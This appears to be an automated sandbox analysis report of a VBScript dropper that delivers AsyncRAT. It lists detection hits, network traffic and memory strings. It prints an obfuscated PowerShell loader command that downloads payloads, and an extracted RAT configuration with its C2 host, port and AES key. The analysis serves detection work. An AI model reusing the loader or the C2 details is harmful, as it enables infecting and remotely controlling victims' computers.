C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1120

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\soste

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6644, TargetFilename: C:\Users\user\AppData\Local\Temp\xx1.ps1

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T10:57:03.426012+0200	2020423	1	Exploit Kit Activity Detected	91.202.233.169	80	192.168.2.5	49706	TCP
2024-09-26T10:57:24.904005+0200	2020423	1	Exploit Kit Activity Detected	91.202.233.169	80	192.168.2.5	49718	TCP
2024-09-26T10:58:04.651724+0200	2020423	1	Exploit Kit Activity Detected	91.202.233.169	80	192.168.2.5	49721	TCP

ET MALWARE Observed Malicious SSL Cert (AsyncRAT)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T10:57:16.679373+0200	2034847	1	Domain Observed Used for C2 Detected	45.135.232.38	35650	192.168.2.5	49710	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T10:57:16.679373+0200	2842478	1	Malware Command and Control Activity Detected	45.135.232.38	35650	192.168.2.5	49710	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T10:57:02.264440+0200	2803305	3	Unknown Traffic	192.168.2.5	49705	15.235.85.194	443	TCP
2024-09-26T10:57:23.713260+0200	2803305	3	Unknown Traffic	192.168.2.5	49717	15.235.85.194	443	TCP

ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T10:57:16.679373+0200	2848048	1	Domain Observed Used for C2 Detected	45.135.232.38	35650	192.168.2.5	49710	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://www.informacionoportuna.com/wp-content/uploads/2024/	Avira URL Cloud: Label: malware
Source: https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt	Avira URL Cloud: Label: malware
Source: https://www.informacionoportuna.com/wp-content/uploads/2024/09/dX	Avira URL Cloud: Label: malware
Source: HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DS1.TXT	Avira URL Cloud: Label: malware
Source: dcmxz.duckdns.org	Avira URL Cloud: Label: malware
Source: https://www.informacionoportuna.com/wp-content/uploads/2024/09/pesky.txt	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "dcmxz.duckdns.org", "Ports": "35650", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "BMaxyTI6PFcknz46fW6SoamkbMkpDOBY", "Mutex": "DcRatMutex_qwqdanchun", "Certificate": "MIICMDCCAZmgAwIBAgIVAIhNlmebb6nSe6ECHjMpYKJ1i7gvMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIxMDEyODA1MzU1N1oXDTMxMTEwNzA1MzU1N1owEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALz18kcXxyYRNtzNciIOitqVEEKYOOJZOGjSaWOLKz3M/Df8QpKzt86Y+GK3639BYF/OzJ6i8PyJcI4jCe+L56ytnlJDfAYTzg7df+pvpE6bSgYYgBSEMcKBPrpx6bV5z/V8FOCVqlt9xfM47rHzIs6kOkc0Xu0TqFGxVfi3Koj/AgMBAAGjMjAwMB0GA1UdDgQWBBQOZShjgdZ92lUVGT5AalbF4rcBrDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBABuRWEmIgb/BjPElBrcq4LuUTHLBWgnJN3yXXtFA+Nl/+mYto5FZMUmzz3mbjKRHuzo79jdei4h1vSO9+2gTFWw1mY8HoeEoyL0YExBQMCoUPjpLJEuAydiWBMXXBmv0zPzE3W7zhG6DRe8pXQkZ2yu8c9G4KxXS1ITmSrlJqBQ6", "ServerSignature": "HHE5jOeVJOhAghvpojlJdIrDbFOsUbqwsp+EMG8VXpAUEeevWIZdvf0JXY09IqtRyF0X8OflaZjfz5GSeKAlhnZylZ4ewd/rQNkxEX2jmNQvqQm2VUSZ4DaZ1LNcyuuDLoLokVBSqAQ26qID63vTRTGCG+S4ivbzXv2B1m+Pq9M=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Multi AV Scanner detection for submitted file

Source: sostener.vbs

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49719 version: TLS 1.2

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000007.00000002.2591558298.000001BCABC19000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32W source: powershell.exe, 00000007.00000002.2591558298.000001BCABC64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000007.00000002.2591558298.000001BCABC64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb{@ source: powershell.exe, 00000007.00000002.2090443730.000001BC91BA8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 45.135.232.38:35650 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2034847 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT) : 45.135.232.38:35650 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2848048 - Severity 1 - ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT) : 45.135.232.38:35650 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 91.202.233.169:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 91.202.233.169:80 -> 192.168.2.5:49718
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 91.202.233.169:80 -> 192.168.2.5:49721

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: dcmxz.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: dcmxz.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.powershell.exe.155dc4f0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c0f59258.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c408daf0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03c941ab0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c5369780.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 45.135.232.38:35650

Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1Host: www.informacionoportuna.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1Host: www.informacionoportuna.com
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1Host: www.informacionoportuna.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1Host: www.informacionoportuna.com
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive

Source: Joe Sandbox View	ASN Name: M247GB M247GB
Source: Joe Sandbox View	ASN Name: HP-INTERNET-ASUS HP-INTERNET-ASUS
Source: Joe Sandbox View	ASN Name: ASBAXETNRU ASBAXETNRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49705 -> 15.235.85.194:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49717 -> 15.235.85.194:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.169

Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1Host: www.informacionoportuna.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1Host: www.informacionoportuna.com
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1Host: www.informacionoportuna.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1Host: www.informacionoportuna.com
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Tak/Reg/Marz/ENVS/DS1.txt HTTP/1.1Host: 91.202.233.169Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.informacionoportuna.com
Source: global traffic	DNS traffic detected: DNS query: dcmxz.duckdns.org

Source: powershell.exe, 00000004.00000002.2090885360.00000155C419D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C1151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DS1.TXT
Source: powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C1151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169
Source: powershell.exe, 00000004.00000002.2090885360.00000155C419D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C1151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/ENVS/DS1.txt
Source: powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/Ex
Source: powershell.exe, 00000004.00000002.2090885360.00000155C419D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.1692
Source: powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.HX
Source: powershell.exe, 00000014.00000002.3008770894.0000013DBA5E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000004.00000002.2090885360.00000155C52A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://informacionoportuna.com
Source: powershell.exe, 00000004.00000002.2351244189.00000155D3D00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDD117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEBA14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEB8DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA3A64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95166000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA392E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355E2BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CB84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C88A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.3715892947.000001C0543BF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0=
Source: powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C88A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.3715892947.000001C0543BF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: powershell.exe, 00000001.00000002.2712472865.000001571318C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDB861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC938C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355C9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0423000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC25B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A17317000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F8648A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E1272DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC056A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000013.00000002.2411972909.00000240C032A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wicroft.com
Source: powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2090885360.00000155C52A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.informacionoportuna.com
Source: powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2742802158.000001C03A2BE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2742802158.000001C03A2BE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 00000001.00000002.2712472865.0000015713145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
